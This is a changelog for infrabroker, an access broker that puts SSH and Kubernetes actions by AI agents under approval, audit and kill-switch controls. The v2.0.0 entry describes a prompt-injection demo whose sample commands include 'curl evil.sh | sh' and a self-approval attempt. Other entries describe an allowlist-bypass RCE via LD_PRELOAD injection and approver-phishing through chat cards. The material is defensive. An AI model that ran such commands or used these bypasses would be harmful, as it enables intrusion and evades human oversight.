self_approveon_default(#207) — two config foot-guns. An emptycallerstable means allow-all (the one genuine fail-open RBAC config) but only the opt-inbroker-ctl doctor --securityflagged it; the signer now logs a clear allow-all warning at boot. Andcallers._default.self_approve: trueused to waive four-eyes for every unlisted CN through_defaultinheritance —self_approveis now honoured only on an explicit CN. - Session recording is observable, can be strict, and the recorder race is
fixed (#206) — interactive-session recording write failures were silently
discarded with no signal, so recording (a potential compliance control) could
fail open unnoticed; separately, the recorder was wired onto the session after
it was published, a small data race with a concurrent kill/shutdown. Write
failures now increment
recording_write_errors_total; a newsession_recording_strictmode aborts the session on any recording failure (open or write) instead of tolerating it; and the recorder is attached before the session is published (go test -race-clean). - Control-plane four-eyes audit is fail-closed by default (#205) — the control
plane had no
audit_fail_mode: it logged-and-continued, so if its audit disk filled a human could approve, the certificate still issued, and the who approved record survived only on stderr — inconsistent with the signer's fail-closed audit (#184). The approval decision and the grant that hands out a certificate/token are now gated: withaudit_fail_mode=closed(the default) an approval whose audit append fails is rejected (503) rather than granted; setaudit_fail_mode=opento keep the previous log-and-continue behaviour. - k8s dry-runs are audited and transport errors hide the API server (#204) —
the Kubernetes path had two gaps: a dry-run returned its policy decision without
any broker audit entry, so an agent could enumerate the whole k8s ActionPolicy
surface (allowed / approval-gated verbs, resources, namespaces) leaving no
trace; and a transport error wrapped the raw
*url.Error, leaking the full API-server address to the model. Dry-run decisions now auditdry_run_allowed/dry_run_denied(like the SSH path), and a connection failure returns only the method, REST path, and an address-free cause. - Freeze coverage closes the forwarder and
/v1/clustersgaps (#203) — the signer's freeze check ran only on the resolved caller, so a trusted forwarder acting viaon_behalf_ofwas never freeze-checked on its own mTLS CN — freezing a compromised control plane was a near no-op./v1/signand/v1/hostsnow also test the raw peer CN, andGET /v1/clusters— previously unchecked — now denies a frozen caller the cluster connectivity (api_server, inlined CA PEM, groups) it could otherwise still enumerate. - Kill switch interrupts a busy shell/PTY session promptly (#202) — a session
with an interactive command in flight closed its SSH shell before the
transport, so teardown blocked on the shell mutex the running command held for
up to the 120s exec timeout. Freezing a compromised caller with a live PTY (or a
slow exfil) therefore could not interrupt it promptly, and
Engine.Close()on SIGTERM could hang. The connection is now torn down first — the in-flight command returns in milliseconds — andcloseAllcloses its victims outside the manager lock so one busy session can no longer stall shutdown for every other. - Bound the ssh-agent CA signer's socket I/O (#241) — the agent-backed CA
(
ca_keys.type=agent) set a dial timeout but no deadline on the subsequent agent-protocol round trips (list keys + sign), so a wedged or hostile agent could block a sign request — and leak its handler goroutine — indefinitely. An overall I/O deadline (agentOpTimeout, 10s) now bounds it, matching the AKV backend's bounded call. - Approval bridge renders Slack cards injection-free (#239) — the Slack
approval notification put the broker-supplied command/host/caller into a
Markdown block, so a crafted
require_approvalcommand could inject a clickable link (<url|text>) or break out of its code span and phish the human approver. Those fields now render in aplain_textblock (Slack mrkdwn has no backslash escape, unlike the Teams Adaptive Card fix #174), so the approver always sees the exact command with no injectable markup. - Grant creation refuses a frozen subject and is serialised with freezes (#224)
—
POST /v1/policy/hosts/{host}/grantsnow takes the config write lock and rejects (409) a grant scoped to acaller/end_userthat is currently frozen. Previously it took no lock and never consulted the freeze set, so a grant added concurrently with — or after — a freeze survived the freeze's revocation and reactivated the moment the subject was unfrozen. doctor --securityredact check tests efficacy, not presence (#223) — aredactblock that setsdisable_defaultswith nopatternsis a zero-rule no-op (secrets stored verbatim), yet the preflight reported PASS for any present block. It now WARNs on that no-op case and PASSes only when the redactor actually has rules (built-in defaults on, or patterns defined).- Approve-and-learn waiver is persisted only after the issued-audit gate (#222)
— on the SSH and Kubernetes sign paths the self-approval marker and the
approve-and-learn waiver (a state_db-persisted, restart-surviving approval
bypass) now run only after a certificate/token was issued and its
issuedrecord durably committed. Previously they ran before the gate, so a request whose issuance was withheld by fail-closed audit could still leave a durable waiver behind with its creation record dropped. GET /v1/revocationsprovenance is admin-only (#221) — the free-text freezereasonand the freezing admin's CN (frozen_by) are now returned only to thereload_callerstier. An ordinary (or v2.0.0 default-denied) broker sees just the subject (kind,value) andfrozen_at, which is all it needs to match and kill sessions — it no longer enumerates every operator note and admin identity across the fleet.- Harden the atomic config rewrite (#220) — the signer policy-mutation write
and
broker-ctl's config write now create the temp file exclusively with a random name (never a fixed<config>.tmp), set its mode explicitly, and fsync the file and its directory before/after the rename. Previously a stale or planted<config>.tmpcould have its wider permissions adopted over the secret (signer.jsonholds CA-key/audit-key paths), and a crash mid-write could truncate the config. - Reject duplicate JSON keys in config files (#216) —
confchecknow fails closed when any config object carries the same key twice, instead of silently resolving it last-wins. Previously the typed loader (encoding/json, last-wins) and the comment-preserving policy rewrite (hujson, first-match) could resolve a duplicated key to different occurrences, so aPOST/DELETE /v1/policy/hostsallowlist edit could return200— and write apolicy-changedaudit record — while the occurrence the runtime actually enforces stayed untouched. A config with a duplicated key now fails to load (signer refuses to start) or edit (the mutation API returns an error and auditspolicy-failed). doctor --securityflags localpemCA custody in any group (#218) — the preflight's CA-custody check previously inspected onlyca_keys._default(or the legacyca_key), so a per-grouppemoverride alongside a hardware/KMS_defaultfalse-PASSed even though that group's hosts are signed by a local key on disk. It now fails when anyca_keysgroup (or the legacyca_key) usespem, naming the offending group.
Fixed¶
audit verify --allignores theaudit repairquarantine file (#245) — segment discovery globbed<log>.*, which also matched the quarantine fileaudit repairleaves behind (<log>.corrupt-<ts>), so verifying a correctly-repaired chain ranVerify()over the quarantined (malformed) bytes and falsely reported the chain as broken. Discovery now recognises only true rotation segments (a<log>.<timestamp>suffix), single-sourced with the rotation format.- Document that
state_dbpersists the freeze set (#227) — the signerstate_dbfield doc (and the generated config reference) listed only grants and waivers, omitting the kill-switch freeze set it also persists — the persistence a volatile freeze is refused without. Comment corrected andconfig.mdregenerated. liveSession.close()is now idempotent (#226) — guarded with async.Onceso the concurrent teardown paths (kill switch, reaper,closeAll, and the fail-closedOpenSessionrollback) can never double-close a session's conn/shell/recorder or race on the recorder field. Benign in the current build (recording starts after the audit gate), but a latent data race otherwise.- README no longer lists "audit fail-open" as a non-goal (#219) — corrected a
stale Security-section statement that contradicted the v2.0.0 fail-closed-by-
default audit flip (#200); the linked
THREAT_MODEL.mdalready documents fail-open as an explicit opt-out.
Added¶
- Kill-switch revocation-poll observability (#217) — the broker now exports
broker_revocation_poll_errors_total(failed freeze-set fetches) andbroker_revocation_poll_last_success_timestamp_seconds(freshness gauge), so a stopped or persistently-erroring revocation poll is visible on/metricsand alertable, instead of surfacing only as a log line while the live-session kill switch silently degrades.
[v2.0.0] - 2026-07-10¶
First major release. The headline is secure-by-default: the three fail-open
defaults an operator could reasonably mistake for protection — callers RBAC,
audit-append, and the kill-switch freeze without state_db — are flipped to
fail-closed, each with a documented opt-out. Alongside them ship the kill switch
/ revocation, in-conversation approvals, the multi-platform approval bridge,
per-agent IdP identity, ssh-agent CA custody, JSONC config files, and the
doctor --security preflight.
Breaking changes¶
callersRBAC is now default-deny (#184) — once the signer'scallerstable is non-empty it is authoritative: a broker mTLS CN absent from it can no longer see (GET /v1/hosts) or sign (POST /v1/sign) for any host, and the same applies to the Kubernetes cluster path (/v1/clusters, k8s signing). Previously an unlisted CN had no group restriction (it reached every host) unless a reserved"_default"entry was present. Migration: list every broker CN incallerswith itsallowed_groups; a CN you forget now fails closed. To keep the old wide-open behavior for a specific baseline, add a"_default": {"allowed_groups": [...]}entry with groups. Omittingcallersentirely (an empty table) still means no RBAC — every caller is unrestricted — which is the right default only for a single-broker deployment. An explicit"_default": {"allowed_groups": []}is now redundant with the default and can be dropped.broker-ctl doctor --securityWARNs when nocallerstable is set, or when a_defaultgrants groups.- A volatile freeze is now refused (#184) — when the signer has no
state_dbthe kill-switch freeze set lives only in memory and is lost on restart (a frozen subject would silently regain access — fail-open).POST /v1/freezenow returns409 Conflictin that case unless the request opts in with"allow_volatile": true(broker-ctl freeze --volatile, also onsession kill). Migration: setstate_dbin production (recommended regardless, for grant/ waiver/approval persistence); pass--volatileonly for a deliberately ephemeral, lab-style freeze. The signer also logs a startup warning whenstate_dbis unset. - Audit append is now fail-closed (#184, closes #133) — when the audit log
cannot be written, the audited action is denied instead of proceeding
unrecorded. New
audit_fail_mode: "closed" | "open"on both the signer and broker configs, defaultclosed. On the signer a failed issuance audit means the certificate/bound token is never returned (500 "audit unavailable"), which transitively gates one-shot exec, sessions, and file transfers; on the broker a failed action-completion record withholds the result (500). A newaudit_blocked_totalmetric counts denied actions (alongside the existingaudit_append_failures_total). Migration: keep the audit filesystem healthy — a full/unwritable audit disk now stops actions until resolved (see the "audit unavailable" runbook in Operations); setaudit_fail_mode: "open"to restore the pre-2.0 log-and-proceed behaviour. Signer 429 rate-limit rejections remain deliberately un-audited and are unaffected.
Added¶
- Kill switch / revocation (#117) — the signer gained
POST /v1/freezeandPOST /v1/unfreeze(authenticated toreload_callers) to freeze or release a caller CN, end-user, session id, or certificate serial; freezing a caller/end-user also atomically revokes its runtime grants and approve-and-learn waivers. A frozen subject is denied on/v1/signand/v1/hosts, andGET /v1/revocationsstreams the freeze set. Each broker polls it (revocation_poll_seconds, default 10, remote mode) and force-closes live sessions matching a frozen subject. - In-conversation approvals (#118) — with
approval_via_elicitation(stdio frontend, off by default), arequire_approvalcommand becomes an MCP elicitation the human answers in the client instead of an out-of-band denial. - Machine-readable dry-run decision (#119) —
dry_run=trueonssh_executereturns a structured decision carrying a stablereason_code(allowed,needs_approval,command_denied,allowlist_no_match, …) so an agent can branch on the outcome without parsing prose. - Approval bridge (#120) —
cmd/approval-bridgepresents pending approvals on Slack (Socket Mode, outbound-only) and relays Allow/Deny under its own mTLS approver identity; the control plane still enforces consumed-once and four-eyes. A convenience, not a new trust root. - Per-agent IdP identity (#121) — the OAuth HTTP frontend resolves each
agent's
client_credentialstoken to that agent's own caller identity, so distinct agents are never collapsed into one shared caller. - ssh-agent CA custody (#122) — a new
ca_keysbackend,type: "agent", keeps the CA private key in a running ssh-agent (YubiKey PIV / SoftHSM / TPM viassh-add -s);public_key_pathpins which agent key is the CA and the signer process never holds key bytes. Supports Ed25519 CAs (unlike AKV). - Startup warning for ignored local-mode config (#178) — when the broker
runs in remote mode (a
signerblock is set) but the config also carries local-mode fields —ca_key/ca_keys,command_policies, or per-host policy (command_policy,allow_sudo,principal, …) — it now logs a single aggregated warning naming them (and the host(s) they sit on). Those fields are silently ignored in remote mode (inventory and policy come from the signer); the warning stops an operator from believing a local policy is enforced when it is not (the same error class as the_defaultfirewall gap, #82). Warning only — no behavior change to signing or policy resolution. - Mesh networking guide (#137) — new
docs/MESH.mdon running infrabroker over a NetBird / Tailscale (WireGuard) overlay: the mesh provides the network path, infrabroker the session layer (per-op ephemeral certs, signer-side policy + approvals, recording, signed audit). Zero code — the broker dials plain TCP, so any mesh-routed path works, and stable overlay IPs makesource_addresspinning precise. States exactly which controls are host-enforced (one-shotforce-command) versus broker-enforced (session command filtering, gap #1). broker-ctl doctor --securitypreflight (#134) — an offline production-hardening check (no keys, no network) that reads the local config files and reports PASS/WARN/FAIL with a one-line fix for each item of thedeploy/README.mdchecklist:callersRBAC default-deny,sign_rate_limit_per_min, CA custody not local-PEM,state_db,redact,monitor_listennot public, and the control-planesign_callersallowlist when approvers exist. Exits non-zero on any FAIL. The signer additionally logs a startup warning when the sign rate limit is unset.- Single-binary local-mode quickstart (#182) — new
docs/QUICKSTART.mdtakes a newcomer fromgit cloneto their first policy-gatedssh_executein under 10 minutes using one binary (mcp-broker, stdio) and oneconfig.jsonin local mode — no signer service, no mTLS PKI. Ships a committedconfig.minimal.example.json(validated by the confcheck anti-drift test), an MCP-client registration snippet, adry_runfirewall demo, and a "when to move to remote mode" graduation section. Linked from the README and mkdocs nav. Docs/examples only. - JSONC config files (#183, part 1 — load) — every config file
(
config.json,signer.json,control-plane.json,broker-ctl.json) now accepts//and/* */comments and trailing commas (JWCC) when loaded — on startup and on every reload path — so a config can be annotated with real comments instead of_*comment keys. Plain JSON keeps loading byte-for-byte unchanged and a typo'd key still fails closed; the legacy_*comment keys keep working but are now deprecated in favour of real comments. (Comment-preserving config rewrites — the signer policy-mutation API andbroker-ctledits — and the conversion of the shipped.example.jsonfiles land in a follow-up.) - Comment-preserving signer policy mutations (#183, part 2 — signer writes) —
the signer's validated policy-mutation API (
broker-ctl policy add/remove, which persistssigner.jsonatomically) now rewrites the file with a format-preserving JSON Patch (confcheck.Patch, via hujson), so an operator's//comments, key order, and formatting survive an allow-rule edit instead of being flattened by a parse→marshal round trip. (broker-ctl's own host/CA/caller edits and the.example.jsonconversion remain the last follow-up.) - JSONC config, completed (#183, part 3 — broker-ctl writes + examples) —
broker-ctl's config edits (host/ca-keys/callersadd & remove) now rewrite the file with the same format-preserving JSON Patch, so an operator's//comments survive a host/CA/caller edit (they were previously flattened by the whole-map re-marshal). And the five shipped*.example.jsonfiles are converted from_*-key comments to real//comments — self-documenting JSONC that the anti-drift tests validate through the new loader. This closes #183: every config file accepts JSONC on load, every rewrite path preserves comments, and the examples demonstrate the canonical style (legacy_*comment keys still load, deprecated). - Prompt-injection live-fire demo (#135) — the compose demo gains a
control-planeservice and thedemohost ashell_parseallowlist +require_approvalpolicy, and a newexamples/compose/prompt-injection-demo.shruns a deterministic, scripted (not a live LLM) adversarial sequence that shows every attack failing and names the control that stops it, on the one-shot force-command path:curl evil.sh | sh(shell_parse splits the pipe), newline smuggling (control-char rejection), "dump the broker" (distroless, no CA key — nothing to exfiltrate), and self-approval (four-eyes). Brings the stack up, asserts, and tears down — CI-gatable.
Changed¶
- Per-agent action-budgets framing (#123) — the README and
docs/OPERATIONS.mdreframe the shipped host/command/approval controls as per-agent action budgets; documentation only, no behavior change.
Security¶
- Command-firewall allowlist bypass with
shell_parse(RCE) — withcommand_policy.shell_parseenabled, the parser that decomposes a command for allowlist matching under-modeled what the baked certificate force-command actually runs. A>&FILE/<&FILEredirect (a file write in bash/zsh) was misclassified as a safe fd-duplication and stripped, and a standalone environment assignment orexport/declarebefore an allowed command was invisible to the policy. Either let an anchored allowlist authorizeecho x/git fetch originwhile the force-command wrote an arbitrary file or injectedGIT_SSH_COMMAND/LD_PRELOAD/PATH— remote code execution on the target host. The parser now requires an fd operand for>&/<&and rejects environment declarations and standalone assignments (fail-closed). Only hosts withshell_parse=truewere affected. - Teams Adaptive Card escapes broker-supplied fields — the default Teams
notification format (Adaptive Card) renders
Fact.valueas Markdown, so a crafted command/host could inject a clickable link or hidden formatting into the approver's notification (phishing / command obscuring). The broker-supplied fact values are now Markdown-escaped, matching themarkdown:falsedefense the legacy MessageCard path already had (default-path sibling of the earlier MessageCard fix). - Session lifetime capped at the certificate TTL (#124) — the broker's
reaper now closes a live session when the certificate that opened it expires,
bounding a session's exposure to the cert TTL (≤
max_ttl_seconds) instead of the longersession_max_seconds. - approval-bridge redacts the command before the chat platform: the
approval-bridgenow masks secrets in an approval's command (using the built-in redaction patterns) before presenting it on Slack, matching the control plane's webhook/Teams notifier. Previously it reposted the original command from/v1/approvalsverbatim, so a secret passed inline in arequire_approvalcommand leaked in cleartext to the chat channel even withredactenabled (the Teams/webhook sink and the signed audit masked it). - Broker k8s audit no longer embeds the caller in the Command token stream:
the k8s execution audit records the caller identity only in the structured
callerfield, not as auser=token in the space-delimitedcommandstream. The caller id (the OIDC user-claim value) is not charset-validated at the broker, so a whitespace-bearing identity could otherwise have forged tokens into a hash-chained entry (the class the signer already guards, #67). Defense in depth; the identity is unchanged and still audited.
Fixed¶
- k8s cluster-scoped scope fidelity: a client-supplied namespace on a
cluster-scoped resource (
nodes,namespaces,persistentvolumes) is now dropped before the canonical action<verb> <resource> <ns>/<name>is built, so the policy decision, the Ed25519-signed audit record, and the human approval reflect the true cluster-wide scope. Previously the namespace rode into the canonical — making a destructive action (e.g.delete nodes) look namespace-scoped to the approver and letting a namespaced deny rule be evaded — while execution silently ignored it. Normalized symmetrically on the broker and the signer, so the anti-mismatch guarantee still holds. makebuildsapproval-bridge: the seventh binary (cmd/approval-bridge, #120) is now part ofmake build/install/dist, so the installer tarball ships it alongside the other binaries — matching the goreleaser release archive, which already did. Previously onlygo installor the release archive produced it, thoughdocs/OPERATIONS.mddocuments running it.- Local mode rejects an over-cap
max_ttl_secondsat load (#138) — the single-binary (local) broker now validates the globalmax_ttl_secondsagainst the 15m certificate cap at startup, mirroringcmd/signer, instead of letting every issuance fail at the first sign request. (The dangling-jump, unknown-group and per-host TTL checks were already enforced at load viaCompileHostPolicies; this closes the last divergence from the signer's load-time validation.)
Internal¶
- Audit chain verification moved into
internal/audit(#177) — the hash-chain, Ed25519-signature, cross-segment linkage and trailing-corruption logic thatbroker-ctl audit verify/repairrelied on now lives in the same package that produces the log (Verify,VerifyEntry,VerifySegments,FileBounds,TrailingCorruption), with a producer→verifier round-trip test. A change to how entries are written that would break verification now fails a unit test next to the writer instead of surfacing later on an operator's machine;broker-ctlbecame a thin consumer with byte-identical output. - De-duplicated security-sensitive helpers across broker↔signer (#179) —
shell-quoting (
ShellQuote), the elevated-command builder (BuildElevatedCommand) and the RBAC group intersection (GroupsIntersect) existed twice, once ininternal/signerand once copied intointernal/broker(behind an incorrect "circular dependency" comment). They are now single, exported implementations ininternal/signer, used by both — so thesudocommand line that ends up in a CA-signed force-command and the one sent on the session/file-transfer channel can no longer silently diverge. The retained quoting implementation preserves input bytes exactly (the broker's rune-copy variant would have mangled invalid UTF-8); no behavior change for valid input. - Re-established the 80-line function limit (CODING_STYLE §6, #181) — the
documented length check counted
func-to-func, mis-attributing package-level code to the preceding function (it reported impossibilities like a 327-linedecideOne). Replaced it with a brace-accurate check (funcline → closing}) that also skipsmain()and an explicit// codingstyle:long-function: <reason>in-body marker. Refactored the genuinely over-long functions by extracting cohesive helpers —Register/RegisterK8s(one function per MCP tool),OpenSession(openShellForMode,startSessionRecording),NewEngine(initRemoteMode,openAuditLog) — and marked the few cohesive/critical ones (the/v1/signhandler, the marker-framedShellSession.Exec, CLI commands) with a reasoned exception. Also unifiedmcpserver's tool-error construction on thetoolErrorhelper. Pure refactor: tests unchanged, docgen output and the MCP tool surface byte-identical. - e2e elevation lab (#140) — new
lab/run_sudo_lab.shexercises the sudo + PTY path end to end (previously only unit-tested):ssh_execute(sudo=true)and amode=ptysession opened withsudo=true. It stands up a local sshd and, instead of real NOPASSWD sudoers (which need root), installs asudoshim on the sessionPATHvia sshdSetEnv, so the broker's actual elevation line (sudo -n -- /bin/sh -c …) runs on the host and is asserted through the shim log plus thesudo:rootlabel in the signed audit trail.lab/mcpclientgained aLAB_SUDO=1scenario.
[v1.38.0] - 2026-07-04¶
Security & correctness audit pass, plus an explicit audit-log recovery command.
Added¶
broker-ctl audit repair— recover a signer whose audit log had its final record torn by a crash. A truncated, unparseable trailing line makes the signer refuse to boot (by design: on a tamper-evident, hash-chained log a truncated tail is indistinguishable from a truncation attack). The command is the explicit operator recovery path: dry-run by default;--applyquarantines the corrupt tail to<log>.corrupt-<timestamp>and truncates the log to the last well-formed record so the signer can boot, preserving the hash chain;--keyverifies the kept prefix's signatures first. It refuses mid-file corruption (not the startup-brick case). The signer stays fail-closed — recovery is never automatic. Runbook indocs/OPERATIONS.md.
Changed¶
release.ymlnow publishesserver.jsonto the MCP Registry automatically after every tagged release: amcp-registryjob (authenticated with GitHub Actions OIDC, no PAT) that runs once thereleasejob has pushed the ghcr image, so the registry can validate OCI ownership. Manualmcp-publisher publishis no longer part of the release runbook.
Fixed¶
- k8s MCP input validation:
k8s_listlabel/field selectors andk8s_logscontainerare now length- and null-byte-validated like every other tool field (previously they reached the API-server query string without the input gate). No injection was possible — query values are percent-encoded — but the stdio frontend had no length bound; this closes the unbounded / null-byte gap. - Policy recommender double-count: a single human approval, written to the
audit log twice (the approval-decision and the consumption), was counted as
support 2 in
broker-ctl policy recommend, halving the effective--min-countfor approved commands. Occurrences are now deduplicated by approval id. - Global
max_ttl_secondsload check: a global cap above the 900s certificate limit is now rejected at load (mirroring the per-host cap), instead of failing every issuance at request time for a host with no per-host cap.
Internal¶
- Removed dead test-only session accessors and an orphaned elevation-label helper (coverage ported to the production ownership-gated paths).
.gitignorenow excludescontrol-plane.json, so a real, secret-bearing control-plane config cannot be accidentally committed.
[v1.37.0] - 2026-07-04¶
Distribution release: prebuilt binaries, an official OCI image and a containerized demo. Installing no longer requires a Go toolchain.
Added¶
- Prebuilt release binaries (goreleaser): one archive per platform
(
linux/darwin×amd64/arm64) with all six binaries and the example configs, pluschecksums.txt. The installer tarball for the systemd path (infrabroker-v<ver>.tar.gz, consumed bydeploy/install.sh) is unchanged and still attached to every release. - Official OCI image
ghcr.io/luisgf/infrabroker(multi-arch linux/amd64+arm64, distroless/static, nonroot): the six binaries withmcp-brokeras entrypoint. Carries theio.modelcontextprotocol.server.namelabel the MCP Registry uses to validate package ownership (server.jsonbumped to referenceghcr.io/luisgf/infrabroker:1.37.0). - Compose demo (
examples/compose/,make demo): signer + toy sshd target + broker with auto-provisioned PKI — run a policied command through the full remote-signing topology in 5 minutes, thendown -vand it is gone. Works with docker compose and podman compose (rootless). - docs/CONTAINERS.md: image usage (stdio MCP in a container, other
binaries via
--entrypoint), the demo walkthrough, podman notes, and the explicit demo≠production and k8s-target≠k8s-runtime boundaries. - README Install section: release binaries,
go install, container and one-clickclaude mcp addlines.
Changed¶
release.yml: goreleaser now owns the GitHub release (archives, checksums, image push to ghcr and multi-arch manifests);make diststill builds the installer tarball, attached viarelease.extra_files. Workflow gainspackages: write.
[v1.36.0] - 2026-07-04¶
The project is renamed ssh-broker → infrabroker: the broker outgrew SSH (Kubernetes tools shipped in v1.2x, databases are under study) and the old name hid half the surface. No functional changes.
Changed¶
- Rename to
infrabrokereverywhere it is not history or an on-disk format: Go module path (github.com/luisgf/infrabroker), Makefile/dist artifact (infrabroker-<version>.tar.gz), CI workflows, docs site (luisgf.github.io/infrabroker), systemd units (infrabroker-*.service), system users/group (infrabroker-<svc>,infrabroker), and install paths (/etc/infrabroker,/var/lib/infrabroker). The GitHub repository is renamed; old URLs andgo getpaths redirect. - Recording header extension renamed
ssh_broker→infrabroker. Recordings written by older versions keep the old key — ASCIIcast players ignore unknown header fields either way, butjqreview of old.castfiles must still queryssh_broker. - Suggested host-side CA filename in OPERATIONS.md is now
/etc/ssh/infrabroker_ca.pub; existing hosts keep whateverTrustedUserCAKeyspath they already use. - Not renamed: binary names (
mcp-broker,broker,broker-ctl,signer,control-plane) — they never carried the project name — and historical changelog entries, which describe what those releases actually shipped. - Existing deployments must migrate manually — the installer does not
rename users/paths/units on top of a pre-rename install. See "Upgrading from
ssh-broker (pre-rename, ≤ v1.35)" in
deploy/README.md.
Added¶
- MCP registry manifest (
server.json). Repo repositioning shipped alongside: GitHub topics, README badges and the new tagline ("Infrastructure access broker for AI agents — SSH & Kubernetes").
[v1.35.0] - 2026-07-04¶
Deployment privilege separation, a Kubernetes authorization fix, and a hardened
docs anti-drift gate. Each service now runs as its own system user, a
Kubernetes deny rule now actually blocks (it was silently ignored), and the
reference-doc drift gate is enforced on a protected main.
Security¶
- Kubernetes
denyrules are enforced again.deny-effect ActionPolicy rules were compiled into an allowlist policy's deny slice, which the evaluator only consults for denylist-mode members — so adenyoverlapping a broadallow(e.g.allow get *+deny get secrets) was silently ignored and the allow won. Deny rules are now compiled into a dedicated denylist member so "deny wins" holds, andCommandPolicy.Validaterejects a deny pattern on an allowlist policy (or an allow on a denylist) at config load so the class cannot recur. Only affects clusters whose rules carve adenyout of a broaderallow; default-deny clusters were never exposed. - One system user per service (
ssh-broker-signer,ssh-broker-control-plane,ssh-broker-mcp-http) in the systemd units and the installer, so a compromised broker frontend can no longer read the signer's CA key, policy, grant state, audit seed, or mTLS key — nor impersonate another service or the admin CLI. The sharedssh-brokergroup remains only for traversing/etc/ssh-brokerand reading the shared mTLS CA certificate. The legacy singlessh-brokeruser is no longer created or used. - Per-service PKI subdirectories: each private key lives in
/etc/ssh-broker/pki/<svc>/(0750 root:ssh-broker-<svc>), readable by that service alone; only the shared CA cert stays at thepki/root. Admin CLI material moves topki/admin/(root-only) so no service can impersonate the admin (broker-ctl.example.jsonupdated accordingly). - Per-service config groups:
/etc/ssh-broker/{control-plane,config}.jsonare readable only by their own service (they can carry secrets — OIDC client, webhook tokens).
Fixed¶
- Secret redaction no longer masks the bare shell
PWD=working-directory variable (MYSQL_PWD=/DB_PWD=still masked); it was degrading the forensic value of every recording andenvdump. deploy/install.sh's stray-key migration warning is NUL-safe (key filenames with spaces stay intact) and no longer swallows afind/grepfailure as a silently-absent security warning.tools/docgenprunes orphaned reference pages, so a removed or renamed generator surfaces as a drift-gate failure instead of shipping a stale page.
Changed¶
deploy/install.shcreates the per-service users/groups, converges ownership of state directories and configs on upgrade (idempotent), and warns about private keys still flat underpki/that must be moved into the per-service subdirectories. Migration steps from the ≤ v1.34 single-user layout are indeploy/README.md§Upgrades.- Docs anti-drift gate hardened and enforced. The gate now uses
git status --porcelain(catching untracked and deleted generated pages, not just tracked edits);mainis a protected branch withbuild,govulncheckandcheckas required status checks; and a newmake verifytarget runs the full local pre-push gate. THREAT_MODEL.mddocuments the colocated-host process-isolation posture,OPERATIONS.mddocuments the per-service deployment layout and the least-privilege k8s minter-token permissions, and the deploy skill preflight checks the per-service key placement.
[v1.34.0] - 2026-07-03¶
Kubernetes target (credential-broker): the signer can now broker access to Kubernetes clusters, reusing the whole control plane (identity, RBAC, approval, grants, signed audit) with a structured action grammar instead of the shell one. The agent never holds a cluster credential — the signer mints a short-lived bound ServiceAccount token per authorised action and the cluster's native RBAC enforces it.
Added¶
- Six curated MCP tools, registered only when the broker sees a cluster
(an SSH-only deployment does not offer them):
k8s_list_clusters,k8s_get,k8s_list(label/field selectors, limit),k8s_logs(container, tail, since) — read-only — plusk8s_apply(server-side apply) andk8s_delete, both policy- and approval-gated. No pod-exec, port-forward, watch, or sessions in this phase. - Per-cluster ActionPolicy, default-deny. Structured rules
(
{verbs, resources, namespaces, names, effect}; effectallow|deny|require_approval) compile at load into the samePolicySetmachinery ascommand_policy, over a canonical action string<verb> <resource[.group]> <namespace>/<name>built from charset-validated fields (never parsed → injection-free). So deny-wins composition, runtime grants, approve-and-learn waivers, andpolicy recommendall apply to k8s actions unchanged. The broker sends the structured fields and the canonical string; the signer recomputes it and rejects a mismatch, so the approver and the audit log see exactly what runs. - Bound ServiceAccount tokens. The signer holds one minimal-privilege
minter credential per cluster (
token_file; RBAC =createonserviceaccounts/tokenfor the bound SAs) and calls the TokenRequest API to mint a bound token (TTL 600–900s) for the SA selected by the end user's groups (sa_bindings). The token travels back over the existing mTLS channel like an SSH certificate. - Dependency-free k8s client (
internal/k8s): the five verbs plus TokenRequest as plain REST overnet/http(no client-go), pinned to the cluster CA, with a curated core resource table plus per-clusterextra_resources(no API discovery). - New config
kubernetes.clusters.<name>insigner.json(parallel tohosts; cluster names must be disjoint from host names — grants and audit are indexed by that shared name). New signer endpointGET /v1/clusters(caller-scoped connectivity, forwarded by the control plane) andbroker-ctl cluster list --remote. audit.Entrygainstarget_typeandbody_sha256: ak8s_applymanifest is never logged verbatim (it can carry a Secret) — only its sha256, mirroring file transfers.- New e2e lab
lab/run_k8s_lab.sh(mock API server, no cluster needed): mints a bound token for an allowed action, gates a delete behind approval and issues the token after approval, and enforces default-deny and deny-wins.
Security¶
- The Kubernetes credential-broker's structural trade is documented as
threat-model gap #10: a bound token grants the ServiceAccount's whole RBAC
for its TTL, not a single call (no
force-commandequivalent). Scope agent ServiceAccounts to least privilege; the minter credential is deliberately minimal (only token-minting for the bound SAs).
[v1.33.0] - 2026-07-02¶
Dynamic state persists across restarts: an opt-in SQLite state_db (pure-Go
driver, no CGO, no system dependency) backs the signer's runtime grants and
the control plane's approval registry. Closes the deploy caveat "restarting
the control plane clears pending approvals".
Added¶
- New
internal/statedbpackage: opener +user_versionmigration runner (WAL,busy_timeout, single connection). A database written by a newer binary is refused; ifstate_dbis set and cannot be opened or migrated, the service refuses to start (fail-closed).statedb_errors_totalcounts best-effort write failures (in-memory state diverged from disk until the next restart) — alert on any increase. - Signer grants/waivers persist (
state_dbinsigner.json). Write-through with the in-memory map still the only state consulted on the decision path (zero I/O on/v1/sign):Addis insert-first (a grant that cannot be persisted fails the API call), expiry/supersede sweeps are best-effort (an expired row is filtered out on load), and revocation is deliberately hard — the row is deleted before the in-memory grant, so a revoked grant can never resurrect on restart after the operator saw a success. Live rows are reloaded at startup with their waiver patterns recompiled; approve-and-learn waivers keep their caller/end-user/elevation binding across restarts. - Approval registry persists (
state_dbincontrol-plane.json), including the original wire request (public material only — the broker's ephemeral public key), so a pending or approved-but-uncollected request survives a restart and the polling broker still collects its certificate.Createis insert-first;Decideand consume transitions are written through; terminal entries inside the purge window are restored too, so a poller seesdenied/approvedinstead of a 404. Theissuingflag is an intra-process concurrency gate and is intentionally not persisted: after a restart an approved-but-unconsumed request is consumable again — exactly once. Behaviour baselines stay in-memory by design (they re-learn). - New e2e lab
lab/run_state_lab.sh(no sshd needed): grant survives a signer restart and its revocation is durable; a pending approval survives a control-plane restart, is approved afterwards, the poller gets the certificate, and the consumed approval stays consumed across another restart.
Documentation¶
- THREAT_MODEL gap #5 updated: restart-survival vs multi-instance, and the
consume crash window (a crash between certificate issuance and the
consumedwrite re-exposes the approval once, bounded by the approval and certificate TTLs). OPERATIONS "what survives a restart"; deploy checklist and example configs gainstate_db(with the WAL-wal/-shmbackup note).
Internal¶
GrantStore.Revokenow returns(bool, error); the grant-revoke API answers 500 and keeps the grant when the durable delete fails.- New dependency
modernc.org/sqlite, confined tointernal/statedb— the driver links only intosignerandcontrol-plane, not the broker frontends.
[v1.32.0] - 2026-07-02¶
Secret redaction (threat-model gap #8): an opt-in redact config block on the
three services masks secrets embedded in commands at every persistent or
